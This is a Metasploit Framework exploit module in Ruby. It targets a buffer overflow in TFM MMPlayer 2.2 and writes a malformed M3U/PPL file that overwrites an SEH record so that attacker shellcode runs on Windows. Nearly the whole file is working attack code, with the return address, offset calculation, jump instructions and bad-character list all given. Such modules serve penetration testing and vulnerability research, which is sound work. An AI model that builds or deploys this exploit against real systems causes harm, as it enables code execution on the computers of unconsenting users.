##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFM MMPlayer (m3u/ppl File) Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in MMPlayer 2.2
				The vulnerability is triggered when opening a malformed M3U/PPL file
				that contains an overly long string, which results in overwriting a
				SEH record, thus allowing arbitrary code execution under the context
				of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'RjRjh Hack3r',                        # Original discovery and exploit
					'Brendan Coles <bcoles[at]gmail.com>'  # msf exploit
				],
			'References'     =>
				[
					[ 'OSVDB', '80532' ],
					[ 'BID', '52698' ],
					[ 'EDB', '18656' ], # .m3u
					[ 'EDB', '18657' ]  # .ppl
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'seh',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested on:
					# Windows XP Pro SP3 - English
					# Windows Vista SP1 - English
					# Windows 7 Home Basic SP0 - English
					# Windows 7 Ultimate SP1 - English
					# Windows Server 2003 Enterprise SP2 - English
					[ 'Windows Universal', { 'Ret' => 0x00401390 } ], # p/p/r -> MMPlayer.exe
				],
			'Payload'        =>
				{
					'Size' => 4000,
					'BadChars' => "\x00\x0a\x0d",
					'DisableNops' => false
				},
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 23 2012',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppl'])
			], self.class)

	end

	def exploit

		nops   = make_nops(10)
		sc     = payload.encoded
		offset = Rex::Text.rand_text_alphanumeric(4103 - sc.length - nops.length)
		jmp    = Rex::Arch::X86.jmp(-4108)            # near jump 4103 bytes
		nseh   = Rex::Arch::X86.jmp_short(-7)         # jmp back 7 bytes
		nseh  << Rex::Text.rand_text_alphanumeric(2)
		seh    = [target.ret].pack('V')

		sploit  = nops
		sploit << sc
		sploit << offset
		sploit << jmp
		sploit << nseh
		sploit << seh

		# write file
		file_create(sploit)

	end
end

